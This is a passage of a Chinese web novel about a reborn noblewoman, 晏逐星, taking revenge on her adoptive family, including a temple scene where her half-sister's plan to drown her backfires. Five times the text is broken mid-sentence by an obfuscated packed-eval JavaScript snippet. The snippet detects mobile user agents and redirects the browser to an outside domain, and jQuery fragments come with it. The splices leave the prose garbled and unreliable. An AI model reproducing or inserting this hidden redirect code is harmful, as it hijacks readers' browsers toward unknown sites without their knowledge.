“妹妹病着呢,你莫要将身上的寒气过给了她。”烈国公夫人温柔地看着儿子。
“哦!”尉迟敦点点头。
忙将自己沾了雪的斗篷摘下,冲着手心哈气,又搓了搓手,确认掌心变得暖和之后贴到了母亲脸上。
“娘亲,不冷啦。”
烈国公夫人顿时哭笑不得。
尉迟敦理直气壮道:“可以看雪人了吧?”
烈国公夫人正欲阻拦,晏逐星却笑着点头答应了下来。
“好呀。只不过我腿伤着了,哥哥得背我。”晏逐星伸出手。
尉迟敦二话不说弯腰半蹲到她面前,拍了拍自己的后背:“来,哥哥带你出去玩。”
晏逐星命人将暖和的斗篷重新披回尉迟敦身上,而后才爬到了他背上。
烈国公夫人看着这一幕,心惊胆战,生怕儿子把人给摔了。
没想到,他竟然走得稳稳当当,背着晏逐星去了院子里。
烈国公夫人掏出帕子,擦了擦有些湿润的眼角。
她已经许久没看到这样沉稳的儿子了。
看起来好似与常人无异。
但抵达院子后,尉迟敦将晏逐星轻轻放在铺了貂绒的藤椅上,方才的沉稳气质瞬间消失得烟消云散。
他指着那个脑袋歪斜的大胖娃娃和另一个小胖娃娃,一字一句道:“这个,我。这个,妹妹。”
晏逐星望着那歪戴梅花、斜插萝卜的雪堆,噗嗤笑出了声。
尉迟敦骄傲地抬起下巴:“我厉害吗?”
“厉害!哥哥最厉害了!”晏逐星托着下巴,一脸崇拜地看着他。
尉迟敦顿时乐得原地蹦跶,瞧见了走出来的烈国公夫人,嘿嘿一笑:“我再堆一个娘亲!”
话音没落就扑通跪进雪堆里,靴子把雪踢得到处乱飞。
烈国公夫人看着冒着孩童稚气的儿子,最终也还是笑弯了眉眼。
玩了好一会儿,尉迟敦累了,才依依不舍地跟着娘亲离开了玉澜院。
他一步三回头,看到晏逐星冲他挥手,尉迟敦扁扁嘴,眼泪说掉就掉:“娘亲,为什么妹妹不能跟我回家?”
“敦儿不哭。妹妹身子不好,要在这养病,过段时间她就会回家了。”烈国公夫人赶忙哄他。
好说歹说,终于把他骗回家了。
他们一走,定远侯便提着食盒来了玉澜院。
“星儿,为父命人去醉仙楼买了你最爱吃的鲍汁扣鹅掌,你快尝尝,还热乎着呢。”
无事献殷勤,非奸即盗。
这是晏逐星脑海里闪过的第一个念头。
“多谢父亲。”她示意衔蝉上前检查,看看这饭菜是否有问题。
见衔蝉微不可察地冲她点了点头,她这才放心食用。
醉仙楼的鲍汁扣鹅掌可不好买,至少得排一个时辰呢。
既然他送上门来,不吃白不吃。
“你我父女二人,何必这般客套。”定远侯坐在她对面,给自己倒了一杯酒。
他试探性地问道:“皇后今日为何又给你那么多赏赐?还有永安王,上回你坠马,他为何这般担心?”
“我也不知道呀。”晏逐星一脸无辜地看着他。
定远侯被她的回答哽住了。
他又道:“那烈国公夫人要认你为义女一事,你怎么不告诉父亲呀。”
“我以为母亲会跟您说。”晏逐星惜字如金,回答得十分简短。
定远侯再一次沉默,他挤出一个尴尬的笑:“出了那么大的事情,你们忘了也正常。”
“这事,确定是板上钉钉了?”他继续试探。
“嗯。干娘说,等过完年了,就办认亲宴,让京城里的人都知道我是她的义女。”晏逐星扯着虎皮当大旗。
定远侯露出了笑意,随后又倒了一杯酒。
他看着晏逐星:“星儿,你可是在怨父亲?”
晏逐星没说话,屋子里沉默一片。
定远侯有些尴尬地抿了一口酒。
“是父亲错了。原想着你妹妹在外边吃了那么多苦,多补偿她一些,却没想到忽视了你。为父自罚三杯。”
说完他仰头喝下了三杯酒。
酒入愁肠,他像是放开了些
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515970|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
许,眼眶瞬间就红了。
“我还记得,你刚到侯府那会儿,只有这么点高。”他伸出手就着桌子比划了一下。
“你抱着我的腿喊爹爹,总是撒娇让我把你架在脖子上骑大马,有什么好吃的,总要藏起来留给我。”
“而今,你却连一句爹爹都不愿意喊了。为父心里难受啊。”
说到最后,他有些哽咽了。
晏逐星内心毫无波澜。
她很清楚定远侯这样自私自利的人,今日前来道歉绝对不可能是良心发现。
只不过今日皇后的赏赐和烈国公夫人的到来,让他觉得她比晏明月更有利用价值罢了。
他的眼泪,都是虚情假意。
“星儿,我们像从前一样,一家人和和美美不好吗?”他泪眼朦胧地看向晏逐星。
晏逐星缓缓开口:“小妹刚认回来那天,我特意用攒了三个月的月钱打了副金耳钉送去。结果呢?”
说到这,她垂下了头。
“母亲和兄长却觉得我在刻意炫耀。我现在多看她的院子一眼,都怕被人说居心不良。我哪里还敢和家里人亲近。”
她只提温如霜,不提定远侯。
这让定远侯脸色稍缓。
他知道这事自己做得不地道,但不代表他愿意被一个小辈指责。
“是你母亲做得不好,从今往后,若你有委屈,只管来找父亲。”他摆出了一副慈爱的模样。
“当真?”晏逐星抬头,怯生生地看着他。
“千真万确。你我父女十多年的感情,难道你还信不过我么。”定远侯拍着胸脯保证。
“这几年父亲亏欠你的,通通都给你补上。”
“我院子里的丫鬟……”晏逐星话说到一半,便没有继续说下去。
定远侯当即领悟她的意思,爽快答应:“明日便让牙人将奴仆带来,任你挑选。你母亲给你安排的这些人,就送去别的院落吧。”
晏逐星继续委屈巴巴地开口:“自妹妹归府,母亲便停了我每月三两银子的月钱,说我占了妹妹的身份,享了那么多年的福,该把我的月钱加到妹妹那边。”
定远侯嘴角抽了抽。
没想到夫人竟然连这点银子都要克扣。
他面上端出个虚笑:“是你母亲一时糊涂。这月钱,父亲补给你就是了。四年多的月钱,拢共也就一百多两银子。我给你补到二百两可好?”
“多谢爹爹。”
晏逐星这一声爹爹可算喊到他心坎里去了。
定远侯在心底嗤笑。
啧,果然是小丫头啊,随便装装慈父的模样哄一哄她就原谅了。
送走定远侯后,晏逐星脸上的笑意也消失了。
既然定远侯送上来给她利用,那她就不客气了。
就是不知道温如霜母女,如果知道定远侯对她这样讨好,会不会当场气死。
第37章 其中肯定有什么猫腻
定远侯来玉澜院的事情并未刻意隐瞒。
再加上晏逐星有心宣扬,很快温如霜和晏明月都知道了定远侯的所作所为。
“凭什么爹爹对她那么好,我才是他的亲女儿。”晏明月既愤怒又慌张。
从她回府后,全家人都宠着她抛弃了晏逐星。
她不能接受家里人对晏逐星比她更好。
如今定远侯竟然偏宠晏逐星,她顿时生出了危机感。
“不行,我要去找哥哥。”晏明月揉红了眼睛,决定去找晏明远和晏明修。
母亲和晏逐星有血海深仇,肯定是站在她这边的。
她必须要把两个哥哥也牢牢握在手里,不能让晏逐星抢走了。
想到他们仨都挨晏逐星的巴掌,她心里莫名生出了一股庆幸。
为了那个巴掌,哥哥们应该都不会选择偏袒晏逐星吧?
果不其然。
她找到两个哥哥把这事一说,二哥晏明修顿时义愤填膺了起来。
“那个野丫头霸占你大小姐的位置那么多年,不知感恩,又有害母亲坠马的嫌疑,父亲怎么还对她那么好。”
他越想越气,捋起了袖子,就要去找晏逐星。
“不行,我必须得给她一个教训,好让她认清自己的身份地位。”
“等等,不许去。”晏明远拦住了冲动的弟弟。
“为什么?”晏明修不解,十分委屈。
“你们没发现吗,自打那日告官之后,她就变得不一样了。”
晏明远这话一出,晏明月和晏明修都下意识地点头。
是呀,那天之后,晏逐星就好像变了一个人似的。
晏明远继续道:“好像伤害过她的人都受到了惩罚,妹妹的丫鬟**,母亲摔下马车残了。她反倒越过越好。皇后娘娘、永安王、烈国公一家都对她另眼相待。”
晏明月听到这话,死死咬住了下唇,内心的妒忌熊熊燃烧。
明明她才是侯府嫡女,晏逐星一个来路不明的野种,为什么那么多人偏宠她。
晏明修也觉得有些古怪。
他嘀咕道:“是啊,现在的她和从前完全不一样了。”
以前的晏逐星就是个窝囊废,府里最低贱的下人都能对她踩两脚。
现在别说下人了,就连父亲都变得对她客客气气了。
他脑海里忽然闪过一个荒唐的猜测:“你们说会不会是什么孤魂野鬼上了她的身,所以她才性情大变。”
晏明月被他这话吓了一跳,细细思量后,觉得也不是没有可能。
毕竟一个人短期内怎么可能会有那么大的变化。
“大哥,二哥,我害怕。”她楚楚可怜地抓住了两人的衣袖。
“明月乖,不怕哦,有大哥在呢。”晏明远赶忙放缓了语气哄妹妹。
见她吓得瑟瑟发抖,晏明修赶忙道:“三日后大哥不是要和户部侍郎家的沈小姐去玄空寺相看么。到时候,咱们就说要去玄空寺给母亲祈福,把晏逐星也带上,到时候让玄空寺的大师,狠狠收了她这个妖孽。”
晏明月一想,这确实是个好主意。
玄空寺在半山腰上,晏逐星腿脚不方便,要入寺庙就得有人抬着她上去。
到时候在抬轿子的人那里动动手脚,让他们手一滑,说不定就能让晏逐星彻底消失了。
于是她赶忙点头:“二哥这个主意好!”
“大哥,你觉得呢?”晏明修一脸期待地看着兄长。
晏明远迟疑了片刻,最终还是同意了这个做法。
晏明月亲自去了玉澜院跟晏逐星说这件事。
双鲤皱眉反驳:“二小姐,我家小姐的腿还伤着呢。太医说了不宜动弹,得好好养着。”
“无妨。马车直接到山脚下,到时换乘软轿上山,保管不用姐姐自己走一步路。”晏明月不停地劝说。
“眼下外头那些闲言碎语传得愈发难听,不如趁此机会到悬空寺为母亲斋戒祈福。既全了孝道,也让那些嚼舌根的再寻不着由头中伤姐姐。”
“你让我好好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515971|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
考虑考虑吧,最迟后日,我给你答复。”晏逐星没有当场答应。
她心里清楚得很。
晏明月不会无缘无故邀请她去寺庙,其中肯定有什么猫腻。
她还没有做好防范准备,不能马上答应下来。
“好,都听姐姐的。那姐姐你好好养伤,我明日再来看你。”晏明月见好就收。
她离开后,晏逐星看向双鲤,压低声音交代她去先前约好的地方等九栀。
九栀若是能来到她身边,她也能更放心一些。
“是。”双鲤应了下来,匆匆出府。
直到府里角门要落锁时,她才匆匆回来。
“人呢?”晏逐星忍不住问道。
“没看到。”双鲤摇了摇头,有些担忧地开口。
“她不会跑了吧?”
晏逐星心底也没底。
毕竟她和九栀也就见过两次面。
一次是在威宁侯府,一次就是她遛狗惊马。
她不确定九栀会不会留在她身边。
若找不到人,她还得另外去寻摸一些会武的丫鬟才行。
“先用饭吧,明日再说。”晏逐星让丫鬟上菜,做的全是她爱吃的菜。
天大地大,吃饭最大。
上辈子她活得很辛苦,因此这辈子有条件了,她不想亏待自己半分。
她要重新把自己好好的养一遍。
……
定远侯动作很快。
昨日答应她重新换人,今日牙行便领了一串丫鬟小厮来玉澜院任她挑选。
晏逐星一眼就看到了队伍里的九栀。
她有些惊讶,九栀怎会混在其中。
九栀冲她露出一抹笑,眨了眨眼示意她不要担心。
晏逐星收回目光,假装不认识她,随后便按照自己的要求挨个筛选,留下想要的丫鬟。
牙人欢欢喜喜地领着剩下的人走了。
晏逐星让衔蝉和双鲤去管理那些新来的丫鬟,单独留下了九栀问话。
“昨日是约定好的时间,你怎么没出现?”
第38章 永安王当真心悦于她,想要娶她?
“我被永安王的人带走了。”九栀没有隐瞒。
“什么?”晏逐星当场傻眼。
怎么又和谢翊宁有关。
“那日我办完事后,便离开了你安排的住所,没想到,还是被他们找到了。”九栀有些羞愧。
她以为自己扫尾扫得很干净呢,没想到永安王的人技高一筹。
“永安王说他知道我是谁的人。他说他没有恶意,只是京兆尹裴明镜的人一直在找我。他让我在王府呆了两日,说会找机会将我送回小姐身边。今日侯府要采买丫鬟,他便安排我混了进来。”
晏逐星都被永安王这番举动给弄迷糊了。
就算是报恩,是不是次数也太多了一点。
难不成是他觉得他的命比较值钱,需要多报几次?
还是说……
晏逐星脑海里闪过吴嬷嬷疯狂夸赞永安王的画面,还有皇后娘娘的那些赏赐,以及烈国公夫人的猜测。
难不成永安王当真心悦于她,想要娶她?
想到这,晏逐星噗嗤笑出了声。
这怎么可能。
她也太敢想了。
“小姐,你笑什么?”九栀有些疑惑。
她摇摇头,没说出来。
永安王什么身份,她什么身份。
他们两人绝对不会有可能的。
虽然卫国公夫人说话很难听,但她说的确实是实话。
她这样来历不明的身份,嫁给裴明镜都不够格,更别提永安王了。
既然他没有恶意,她也懒得去想他为什么会这么做。
大不了之后有机会了,她再报答他。
晏逐星轻轻用指节敲了敲自己的脑袋,把这些不切实际的想法抛出脑袋。
如今她腿脚不便,有一个会武功的丫鬟在身边,她安心多了。
她可以仔细想想如何对付晏明月了。
欺负她的人,她是绝对不会放过的。
她提笔写下了晏明远、晏明修、晏明月三个人的名字。
据说昨日晏明月去找了他们俩,随后才来邀请她去玄空寺的。
这应该是他们兄妹三人商议出来的结果。
晏逐星又在纸上写下了“玄空寺”三个大字。
“为什么他们非要我去玄空寺不可呢?”晏逐星咬着笔杆子,思索了起来。
片刻后,她猛地一拍脑袋,想起来了。
上辈子晏明远一行人,也去了玄空寺。
只不过那时候温如霜还不是残废,她领着晏明远和晏明月一块去的。她要给晏明远相看媳妇。
“相看的对象,是谁来着了。”她嘟囔着在纸上胡乱涂抹,将那些人的名字都抹去后,终于想起来了。
是户部侍郎沈源晖的嫡女沈墨湘。
上辈子两人看对了眼,半年后便成婚了。
玄空寺的邀约透着蹊跷,她在纸上标记出了他们可能会陷害她的地方和手段。
不过,坐以待毙不是她的脾性。
她决定反击。
管他们的目的是什么呢,她要借此机会毁了晏明远的这桩姻缘,顺便把晏明月也给收拾了。
前世他们踩着她的尸骨登上富贵阶。
这一世,她要他们血债血偿,穷困潦倒。
她要他们跪在泥淖里,亲手把最珍视的东西,一件件碾成齑粉。
晏逐星仔细回忆起玄空寺的情况。
她记得玄空寺附近好像有个温泉山庄,最后好像被威宁侯买了下来。
只是不知道到底是哪一年。
她命九栀明日出门打听打听那个温泉山庄的事情。
她有一个好主意,或许可以一箭三雕。
……
晏明月等了一整天,没了耐心,她再次来了玉澜院。
先装模作样地和晏逐星寒暄几句后,她问出了自己的目的:“姐姐想好了吗,到底要不要跟我们一块去玄空寺呀。”
“去。”晏逐星微微颔首。
她打算赌一把,一箭三雕。
晏明远,晏明月还有威宁侯府,都得付出代价。
“好,那我这就跟大哥说去,保管安排得妥妥当当。”晏明月笑着离开。
晏逐星闭目思索了起来。
后日去玄空寺,她还有时间布局。
足够了。
九栀回府后,将打听的消息悉数道来。
“那个温泉山庄还未易主,威宁侯前些时日才去谈过,似乎没有谈妥。”
晏逐星想了想,轻声吩咐道:“你想办法给威宁侯透露一下,定远侯府要买那个山庄。让他后日务必出现在玄空寺附近。”
“好。”九栀想也没想地就答应了下来。
晏逐星长长地吐了一口气,又在脑海里将那日的会遇到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520039|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的可能反复演练了数十遍。
眨眼就到了去玄空寺祈福的日子。
晏逐星被抬上马车,晏明月紧随其后。
车帘落下,晏明月攥帕子的手沁出薄汗。
前头兄长的马蹄声渐远,她斜眼瞥向闭目养神的晏逐星。
她的心脏扑通扑通直跳。
她早叫人对软舆轿杠的榫卯动了手脚,待到行至半山腰,只消轿夫踉跄半步,到时候晏逐星不死也要丢掉半条命。
即便侥幸活下来,恐怕她的腿会彻底废掉,脸也会被划伤好几条血印子。
想到这,她微微勾起唇角。
车帘缝隙漏进的山风带着檀香,晏逐星仍阖着眼皮。
直到路上传来了山雀的叫声,恰似三长一短。
晏逐星唇角微微翘起。
她交代九栀的事情,办妥了。
马车停下,晏明远派人将软舆抬了过来。
不曾想,却已经有人在等着了。
晏明月掀开车帘,发现等着抬软舆的人不是她安排的,瞬间变了脸色。
“你们是谁?”
“哦,是我找来的人,有问题吗?”身后的晏逐星淡淡开口。
晏明月挤出一丝难看的笑:“大哥早有安排,姐姐为何还要另外找人,莫不是信不过大哥?”
一番话,成功让晏明远皱起了眉头。
晏逐星不疾不徐地开口:“大哥贵人多忘事,忽视我不是一次两次了。先前我来月事时,他还让我用冷水给你洗衣裳呢。”
山脚下车马络绎,这话随风荡出去两丈远。
晏明远脸上瞬间涌出热意。
来玄空寺的不止他们一家,若是让京城里其他贵人听了去,还不知道在背地里会怎么揣度他呢。
晏逐星这话就是故意在落他的面子。
他张嘴正欲挽回一些自己的名声:“我……”
还没说完,就被打断了。
“我知道大哥忙,怕你这回又把我给忘了,所以才提前让丫鬟安排好轿夫在此等候。不过我请来的人已经付过银钱,不坐浪费了。不如大哥将你准备的那个软舆给二妹妹坐吧。”
晏逐星冲着晏明月露出了一抹意味深长的笑,看起来像一个贴心的姐姐。
“毕竟二妹妹身娇体弱,这么长一段路,恐怕她爬上去也会累得够呛。”
第39章 只可惜……
晏明月下意识地攥紧了手。
她可不能坐那个软舆,若是坐上去她就完了。
她赶忙道:“不了,我能走。为母亲祈福,走路去才心诚。”
原本晏逐星还不能确定她准备的软舆有没有问题,如今看她这个态度,必然是有问题了的。
晏逐星没有继续在这个问题上纠缠,她给晏明月准备的好戏还在后头呢。
一行人慢慢悠悠地上了玄空寺。
踏上最后一级石阶时,正撞见沈夫人替女儿整理发钗。
沈墨湘的浅杏色裙摆被山风吹得微乱,瞥见晏明远时,她倏地侧过身去。
“夫人,真巧,你们今日也来玄空寺上香么?”晏明月跨前半步攀谈。
沈夫人将女儿往身前一拉:“是呀,带着湘儿来求平安符。你母亲可还好?”
“嗯,好多了。但我与兄长还有姐姐还是想来玄空寺替母亲祈福,期盼她早日康复。”晏明月故意抬高声量。
晏明远趁势来同沈夫人问好:“晚辈晏明远,问夫人安。”
沈墨湘恰在此时抬眼,两人目光一触即分,沈墨湘耳尖泛起红晕,低头盯着青石板上两道斜斜的人影不敢再看他。
一旁的晏逐星饶有兴致地看着他们。
明明是提早约好了相看,明面上却不能透露半分,两家人还在这装模作样的偶遇。
见沈夫人看过来,她也虚虚行了一礼:“夫人好。”
“嗯,你们倒是有孝心了。”沈夫人没有过多打量晏逐星,她更关心晏明远。
毕竟这个孩子之后会成为自己的女婿。
“既是如此,那咱们便一块入殿内上香吧。”沈夫人邀请道。
“好呀。”晏明月笑着答应。
一行人正欲入大雄宝殿内,晏逐星却在此时开口:“我有些疲倦,想去后山透透气,将先前双鲤捡到的玄龟送去放生,就当为母亲祈福了。”
“行。那你们伺候好大小姐。”晏明远没有阻拦,反倒将自己的小厮拨给了晏逐星。
“有什么事,你便让竹安来寻我。”
语气温和,一如晏明月没被找回来之前,俨然是一个疼爱妹妹的好兄长。
“好的,大哥。”晏逐星应下,让人将她抬至后山。
玄空寺后山的放生池极大,连着山体一起,形如被巨斧劈开的半片莲叶。池面约三丈宽,水色极深,看不到底,风吹过水面泛起波澜。
真是个毁尸灭迹的好地方呀。
晏逐星让丫鬟将玄龟放走,耐心地等着。
她赌晏明月一计不成,还有第二计。
她不会放过这绝佳陷害她的机会。
不过在那之前,她要把无关人等给请开。
“我饿了,想吃山脚的烧饼,你去给我买。”晏逐星看向了一旁的竹安。
竹安皱眉拒绝:“大小姐,小的奉少爷之命得守着您。”
晏逐星眉梢一挑:“大哥让你什么都听我的,你是要阳奉阴违吗?你若不听,我回家就告诉父亲,让他把你换了。”
竹安立刻怂了。
谁不知道侯爷如今十分偏爱大小姐,整个玉澜院的人几乎都换了一遍。
他在大少爷身边办差办得好好的,他可不想被赶走。
他挤出一个笑脸:“小的这就去给您买。”
他离开后,放生池附近便只剩下了晏逐星主仆,零零散散有几个香客出来放生,但很快就离开了。
晏逐星裹着斗篷,怀里还抱着手炉,并不觉得寒冷。
看着巍峨的山,反倒感觉到了久违的自由。
在侯府虽不愁吃穿,但那种整日算计的窒息之感还是让她想要逃离。
她闭上眼眸,暗暗想着日后的生活。
等她将定远侯府的仇人除尽后,她便去江南养老。
上辈子她在边塞从军时,曾遇到过一个来自江南水乡的小兵阿槐。
有一次他们被敌军围困不得不吃草根树皮时,阿槐还在嘴里念叨着家乡的美味。
他们春天会吃裹着艾草香的青团,软软糯糯,回味无穷。
夏天会把菱角剥肉与米同煮,加入苋菜嫩叶煮出清甜的菱角菜粥。
秋天将湖蟹残肢碎壳熬汤滤渣,加黄豆酱熬煮,做成香喷喷的蟹糊酱,一勺配着能吃三大碗饭。
冬天把腌制好的雪里蕻切碎,与老豆腐同炖,做成的咸菜滚豆腐,咸香暖身。
他口中的一切,都让她心生向往。
她那时候想着,等之后空了她一定要去一趟江南,去他的家乡尝尝他说的那些美食,看看他念念不忘的家乡美景。
只可惜……
后来她没能去成,万箭穿心死在了战场
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525930|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上。
“姐姐,这是我替你求的平安符,将它系在这红色的福布条上,挂到那棵百年古树上,便可以一辈子平平安安。”
晏明月的声音将晏逐星从回忆里唤醒。
她睁开眼,就看到了晏明月递过来的红布条。
“可我的腿不方便去系,不如妹妹帮我吧。”晏逐星看向了放生池边上的那棵古树。
上边挂满了古往今来人们祈愿的红布条。
“这个东西呀,还是得自己亲手挂上去才灵验。要不我和蔓儿一左一右搀扶着姐姐过去吧?”晏明月笑意盈盈,似乎不达目的不罢休。
“若是能一次就挂上去,说明佛祖保佑姐姐呢,你的腿肯定很快就好了。”
晏逐星已经大概猜到了她的目的。
看来,她们某种程度上也算有默契,都想到一块去了。
“言之有理。双鲤,你去让大哥他们也来挂这福布条吧。”她扭头看向了一旁的丫鬟。
双鲤听话地去了。
“对了,衔蝉,你再替我去捐点香油钱。”
晏逐星又让衔蝉离开。
晏明月大喜,她还想着怎么将晏逐星的丫鬟支开呢,没想到她竟然自己就把人给叫走了。
她给自己的丫鬟蔓儿使了个眼神。
蔓儿想着二小姐先前跟她说的话——
“待会我和你一块将姐姐搀扶到放生池边上,趁着她扔红布条的时候,你把她推下池子,记住了吗?”
这么冷的天,若是掉到池子里,一定会出大事的。
蔓儿紧张得手心都冒出了汗。
晏明月见她傻愣愣地站着,暗示道:“蔓儿,你小心些,莫要摔着姐姐了。”
“是,奴婢一定会小心的。”蔓儿咬唇,将晏逐星从椅子上搀扶了起来。
如今正值冬日,来放生的人极少。
大雄宝殿内慧心大师正在讲经,大多数人都在里边听着念经。
因而后山这放生池,只有晏逐星三人。
晏明月和蔓儿一左一右地将她搀扶到了树下。
晏明月松开了手,笑道:“姐姐,那我先扔了。”
她抬头扔红布条前,给丫鬟使了个眼神。
下一刻,蔓儿深吸一口气,准备将晏逐星推下水。
没想到,“噗通”一声响。
晏明月落水了。
第40章 失了清白,之后的婚事恐怕难办咯
正准备推人的蔓儿当场愣在了原地。
树上怎么会忽然掉下来一个黑衣人,直接把二小姐踹到了放生池里?
事情发生得太快,她还处于吓懵了的状态。
晏逐星趁机往地上一躺。
黑衣人迅速撤离。
“救命……救救我……”
晏明月在放生池里沉沉浮浮,拼命挣扎。
池水瞬间漫过狐裘灌进她的衣领里,她拼命扑腾着想要起来,可是越挣扎就越往下坠。
蔓儿听到呼救声打了个激灵,这才回过神来,慌张道:“来人呀,有没有人救救我家小姐。”
“林管事?林管事你在吗?”
求救声和询问声同时响起。
威宁侯一边问一边东张西望。
他特别想要那个温泉山庄,但那个庄子是景王妃的陪嫁,他跑了好几回王妃都没松口。
得知定远侯也有意要买温泉山庄,他顿时急了。
因此听说定远侯一家今日来了玄空寺,林管事正在往生池这边的古树下和他们商谈,他便急匆匆骑马赶来了。
蔓儿看到他,仿佛像看到了救命恩人,立刻冲了过去。
“求您救救我家小姐,她落水了,人命关天啊。”
威宁侯瞧见在池子里挣扎的晏明月,没想太多赶忙跳下去救人。
双鲤领着晏明远和沈夫人一家过来,就看到了这一幕。
“哎呀,小姐,你怎么摔了呀。”她吓了一跳,撒腿就跑过来将晏逐星从地上搀扶起来。
“少爷,二小姐落水了,呜呜呜。怎么办呀。”蔓儿吓坏了,只会哭。
晏明远得知坠入池子里的晏明月生死未卜,怒意顿时冲上了脑海,他走上前不分青红皂白地就要抬手扇晏逐星耳光。
“是不是你害得明月掉进池子的?!”
晏逐星抬手就抓住了他的胳膊:“我被这丫鬟推倒在地,动弹不得,你这个做大哥的看到我摔倒,不仅不关心我受伤了没,竟然还要冤枉我。”
她用力将晏明远的手甩开。
“你可真是我的好大哥啊。”
晏明远被她拦住愈发恼怒:“你一直记恨明月,不是你把她推下池子的还能是谁?”
“我告诉你,若是今日明月有个三长两短,我要你给她偿命!!!”
他双目猩红,一副恨不得将晏逐星活剥生吞的模样。
晏逐星没搭理她,看向双鲤:“你快去请人来救二妹妹,今日我们是一起来给母亲祈福的,一个都不能少,全都要平平安安地回家。”
“让衔蝉也多叫点人来帮忙。”
晏逐星捏了捏她的手心暗示。
双鲤乖乖听话,立刻往殿内跑去。
晏明远不会水,不敢跳下池子救人,只得站在一旁干着急。
池子里晏明月的狐裘太沉,被威宁侯解掉了,她太过害怕胡乱挣扎,惹得救她命的威宁侯累得够呛。
本来熟悉水性的他很快就能捞人上来,结果因为晏明月乱踢乱蹬,让他差点也跟着栽在里边。
……
“定远侯府二小姐落水啦,快来人啊,救命啊。”双鲤嚷着大嗓门喊。
添完香油钱的衔蝉听到这话,便跟着浑水摸鱼,没说哪家小姐,只是一味地让人去往生池救人。
许多人稀里糊涂,不清楚是不是自家孩子落水了,就也跟着去了往生池那边。
众人赶到时,威宁侯正抱着晏明月从结着薄冰的池子里爬上来。
晏明月面色惨白地蜷在威宁侯怀里,湿透的冬衣紧贴身体,不断往下滴着水。她的狐裘早被池水卷走,单薄的中衣吸饱了水,沉甸甸贴在威宁侯的身上。
晏明远脸色一沉。
糟了,这一幕被那么多人看到,恐怕有损妹妹名声。
“明月,松手,跟哥哥回家。”他脱下自己青蓝色的大氅,想要替晏明月遮盖身子。
没想到,受惊之下的晏明月还没回过神来,仍在发抖,手指死死攥着威宁侯的衣襟,两人呼出的白气在咫尺之间混作一团。
围观人群倒抽冷气的声音此起彼伏。
威宁侯可不管那么多,撒手就把她往晏明远身上丢。
累死他了。
“侯爷且慢。舍妹虽得您搭救,可这寒冬腊月里肌肤相亲,您总要给她一个交代吧。”晏逐星叫住了正欲离开的威宁侯。
一旁的双鲤指着威宁侯胸口惊呼:“呀,二小姐中衣领口的盘扣都蹭在您襟前了。您
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525931|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可得对二小姐负责呀。”
听到这话,所有人的目光齐刷刷地看向了威宁侯。
哟,还真别了一枚扣子。
再一想到先前两人身子紧贴的亲密状态,还有晏明月死活不松开的手。
众人都意识到了一件事。
这么多人都瞧见了定远侯府二小姐失了清白,之后的婚事恐怕难办咯。
但威宁侯已有妻儿,女儿都和这定远侯府的二小姐差不多大了,让他娶了她,是不是有点不合适呀?
威宁侯一愣,完全没想到晏逐星会说这么一句话。
他只是想来买个庄子的,谁能想到庄子没买到,反倒摊上了这么一桩事。
他皱起眉头,下颌紧绷:“本侯冒着冻毙的风险救人,倒救出错处来了?”
“没有的事。我们十分感激侯爷出手相救。”晏明远连忙摇头,“舍妹不懂事,还请侯爷不要计较。”
威宁侯冷哼一声:“满京城皆知,本侯已有正妻,不可能停妻另娶。若定要我负责,那便以贵妾之礼聘之。过些时日,我会派人去府上接人。”
“不,我不要做妾!!!”晏明月终于回过神来,听到这话吓得尖叫出声。
